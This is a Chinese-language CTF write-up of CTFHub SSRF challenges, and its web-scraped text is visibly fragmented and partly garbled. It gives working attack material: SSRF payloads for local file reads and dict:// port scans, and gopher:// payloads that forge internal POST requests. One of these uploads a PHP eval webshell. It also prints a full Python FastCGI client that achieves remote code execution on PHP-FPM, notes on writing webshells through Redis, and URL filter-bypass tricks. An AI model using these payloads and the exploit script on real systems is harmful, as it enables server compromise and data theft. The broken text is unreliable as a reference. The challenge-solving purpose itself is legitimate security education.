SSRF:即服务器请求伪造(Server-Side Request Forgery),由攻击者构造形成服务端发起请求的安全漏洞
作用:
可以扫描内部网络,探测内网主机存活(比如C段的IP和端口等)
发送GET或POST请求,攻击内网应用(如FastCGl,Redis)
识别内部系统,版本信息,操作内网redis访问等
读取本地文件
if ($_GET['url']) {
$url = $_GET['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
$data = curl_exec($ch);
$curl_errno = curl_errno($ch);
$curl_error = curl_error($ch);
curl_close($ch);
if ($curl_errno > 0) {
echo "cURL Error ($curl_errno): $curl_error\n";
} else {
echo "$data\n";
}
} else {
highlight_file(__FILE__);
}
?>
根据提示信息,在网站目录下有一个 flag.php 文件,可以使用 http 协议直接访问内部网络获取
payload:
?url=http://127.0.0.1/flag.php
根据提示信息,web目录下存在 flag.php 文件,需要知道的是,通常Linux环境搭建的网站路径为
/var/www/html
payload:
?url=file:///var/www/html/flag.php
根据提示信息,需要对端口进行扫描,使用 dict:// 协议构造 payload,然后使用burpsuite或者脚本直接扫描即可
payload:
?url=dict://127.0.0.1:port
扫描出开放的端口后再使用 http 协议访问即可
- Gopher协议格式:
gopher://
: /_{TCP/IP数据流}
{}
前的下划线可以是任意的,没有特定的要求,但这里必须要多一个字符,通常用下划线- 默认端口使用的是
tcp70
- 是一种信息查找系统,将
internet
上的文件组织成某种索引,方便用户进行转移- 在
www
出现前,Gopher
是internet
上主要的信息检索工具,Gopher
站点也是最主要的站点
# 在win10中使用下面的命令(配置好python3环境,也可使用nc替代)
python -m http.server 8080
# 在kali中发起请求
curl gopher://192.168.10.36:8080/_hello_kele
$name = $_GET['name'];
echo "Hello " . $name;
HTTP请求头以换行作为结束,所以最后面需要添加一个换行
GET /test.php?name=Kele HTTP/1.1
Host: 127.0.0.1
function convert($str)
{
return str_replace('+', '%20', $str);
}
// 构造GET提交参数,最后面一定要有一个换行
$get_info = 'GET /test.php?name=Kele HTTP/1.1
Host: 127.0.0.1
';
$get_info_url = urlencode($get_info);
$payload = "gopher://192.168.10.36:80/_" . convert($get_info_url);
echo $payload;
curl
命令发送请求(不一定要使用kail,只需要curl
命令支持gopher://
协议即可)
$name = $_POST['name'];
echo "Hello {$name}";
POST /test1.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
name=Kele
function convert($str)
{
return str_replace('+', '%20', $str);
}
$post_info = 'POST /test1.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
name=Kele';
$post_info_url = urlencode($post_info);
$payload = "gopher://192.168.10.36:80/_" . convert($post_info_url);
echo $payload;
curl
请求数据file://
协议可以读取任意文件file://
协议尝试直接读取flag.php,这里看到源代码,代码分析
REMOTE_ADDR
会验证是否是本地发送的请求,而且不能绕过- 需要POST提交一个key参数才能获得flag
- 最后面有一个
,访问文件能够获得key值
http://
协议访问flag.php
文件存在一个问题,这里虽然获得了
key
的值,但是如果直接提交能被检测到不是本地提交的
gopher://
协议可以传输http数据,也即可以发送GET和POST请求尝试构造一个POST请求数据包,里面包含
key
值,然后使用gopher://
发送数据
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c688f73db0c0e0f57494dd69e0a3a60b
function convert($str)
{
$res = str_replace('+', '%20', $str);
$res = str_replace('%', '%25', $res); // 这里相当于进行二次URL编码
return $res;
}
// CTFHUB
$post_info = "POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c688f73db0c0e0f57494dd69e0a3a60b";
$post_info_url = urlencode($post_info);
$payload = "gopher://127.0.0.1:80/_" . convert($post_info_url);
echo $payload;
gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc688f73db0c0e0f57494dd69e0a3a60b
index.php
文件,和之前的一样flag.php
文件,需要上传一个文件,而且只能本地上传http
请求,然后使用gopher
协议上传http
协议直接访问内部文件,但是这里不能直接提交,直接提交的IP不是服务器本地的,会上传失败127.0.0.1
,得到下面内容,这就是要上传的内容POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------203392955924959
Content-Length: 353
-----------------------------203392955924959
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
-----------------------------203392955924959
Content-Disposition: form-data; name="file"
æ交查询
-----------------------------203392955924959--
function convert($str){
$res = str_replace('+', '%20', $str);
$res = str_replace('%', '%25', $res);
return $res;
}
$post_file = 'POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://challenge-866a7626687d7d14.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------203392955924959
Content-Length: 353
-----------------------------203392955924959
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
-----------------------------203392955924959
Content-Disposition: form-data; name="file"
æ交查询
-----------------------------203392955924959--
';
$post_info_url = urlencode($post_file);
$payload = "gopher://127.0.0.1:80/_" . convert($post_info_url);
echo $payload;
gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520%2528Windows%2520NT%252010.0%253B%2520WOW64%253B%2520rv%253A52.0%2529%2520Gecko%252F20100101%2520Firefox%252F52.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252C%252A%252F%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-866a7626687d7d14.sandbox.ctfhub.com%253A10800%252F%253Furl%253Dhttp%253A%252F%252F127.0.0.1%252Fflag.php%250D%250ADNT%253A%25201%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------203392955924959%250D%250AContent-Length%253A%2520353%250D%250A%250D%250A-----------------------------203392955924959%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bcmd%255D%2529%253B%2520echo%2520%2527luck%2527%253B%2520%253F%253E%250D%250A-----------------------------203392955924959%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------203392955924959--%250D%250A
- CGI(Common Gateway Interface):全称“通用网关接口”,是用于HTTP服务器与其他机器上程序服务通信交流的一种工具
- CGI程序运行在网络服务器上,传统的CGI接口性能较差,而且安全性也比较差
- 在每次HTTP服务器遇到动态程序时都要重启解析器执行解析,然后再返回给HTTP服务器,此特性导致很难处理高并发访问
- FastCGI是在CGI的基础上诞生出来的
- FastCGI是一个可伸缩,能在HTTP服务器和动态脚本语言之间高速通信的接口
- 在Linux中,FastCGI接口是socket,可以是文件socket,也可是ip socket
- 优点:能够将动态语言和HTTP服务器分离开来
FastCGI实际上属于一种通信协议,同HTTP协议一样,也存在请求头(Header)和请求体(Body)
对比HTTP协议来说,FastCGI协议是服务器中间件和后端语言进行数据交换的一种协议(比如PHP-FPM)
FastCGI协议由多个记录(record)组成,服务器将请求头和请求体的record按照FastCGI的规则进行封装,然后发送给后端语言。当后端语言解析后获得具体的数据,再进行指定的操作,然后将结果按照该协议封装返回给服务器中间件
PHP-FPM (FastCGI进程管理器)
- FPM实际上就是FastCGI协议的解释器,Nginx等服务器中间件能将用户的请求按照FastCGI规则打包通过TCP传输给FPM,然后再被FPM按照协议的规则解析成具体的数据
- PHP-FPM是FastCGI的具体实现,且提供进程管理功能(包含master和worker进程)
- master进程:负责与WEB服务器进行通信,接受HTTP请求,再将请求转发给worker进程处理
- worker进程负责动态执行PHP代码,处理结束后将结果返回给WEB服务器,再由WEB服务器将结果返回给客户端
- 在后端语言解析FastCGI头以后,拿到contentLength,然后在TCP流中读取大小等于此长度的数据,也即Body
- 在Body后的数据paddingData,它的长度由Header中的paddingLength指定,如果不需要此数据,可将其长度设置为0
- 注意:一个FastCGI record中,body的最大长度是 2^16,也即65536字节
- Version: 用于表示 FastCGI 协议版本号。
- Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
- RequestID: 标识出当前所属的 FastCGI 请求。
- Content Length: 数据包包体所占字节数。
RequestID的主要作用:
- 在WEB服务器与FastCGI进程之间的连接可能会处理多个请求,采用的是数据包协议,而非数据流,因此可以实现一个连接处理多个请求,实现多路复用
- 如果每个数据包都包含唯一标识的RequestID,当WEB服务器发送任意数量的请求时,FastCGI进程也能通过一个连接获取到任意数量的请求数据包
- WEB服务器与FastCGI之间的通信是无序的,在同一时间WEB服务器可能会发送任意数量的请求数据包给FastCGI
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // record类型
unsigned char requestIdB1; // record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; //负载长度(也即body的大小)
unsigned char contentLengthB0;
unsigned char paddingLength; //填充长度
unsigned char reserved; //保留字节
/* Body */
unsigned char contentData[contentLength]; //负载数据
unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;
php.ini
中的两个配置项
auto_prepend_file
用来告诉PHP在执行文件之前,先包含auto_prepend_file
中所指定的文件auto_append_file
用来告诉PHP在执行完目标文件后,包含auto_append_file
指向的文件
- 当
auto_prepend_file=php://input
,相当于在执行任何PHP文件时都要包含POST提交的内容,如果在Body中放入待执行的代码,且allow_url_include
被打开,则能成功执行Body中的代码- 设置
auto_prepend_file=php://input
- PHP-FPM中有两个环境变量:
PHP_VALUE
、PHP_ADMIN_VALUE
(这两个环境变量可以用来设置PHP配置项)PHP_VALUE
可以设置PHP_INI_USER``PHP_INI_ALL
的选项PHP_ADMIN_VALUE
则可以设置所有的选项(disable_function除外)
- 利用的一个条件是需要知道任意PHP文件的绝对路径(可以直接爆破获得,或者使用默认配置文件获取)
Gopherus: https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit fastcgi
- 然后输入PHP文件的绝对路径和需要执行的命令即可
- 需要使用nc监听9000端口:
nc -lvvp 9000 > fastcgi.txt
- 执行脚本,然后让nc接收
python3 fpm.py host path:/*.php -c code -p 9000
- 然后对文件内容进行提取,再使用
gopher://
协议提交
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
/var/www/html/index.php
文件路径)dict://
协议进行端口扫描,出现如下内容,很明显的存在Redis服务shell.php
,然后POST一个cmd=phpinfo();
,能够执行,说明成功写入一句话木马
- 然后只需要将
phpinfo();
换成system();
即可执行命令- 也可以使用菜刀或者蚁剑连接,然后找到flag即可
问号绕过:url=https://www.baidu.com?127.0.0.1/index.php
@符号绕过:url=https://[email protected]/index.php
#号绕过:url=https://www.baidu.com#127.0.0.1/index.php
反斜杠绕过
子域名绕过
畸形URL绕过
跳转IP绕过
127.0.0.0``0.0.0.0
之类的localhost
即可file://
协议直接读文件0.0.0.0
,可以直接访问,也可以直接使用localhost
0.0.0.0
就能获取了,阿欧……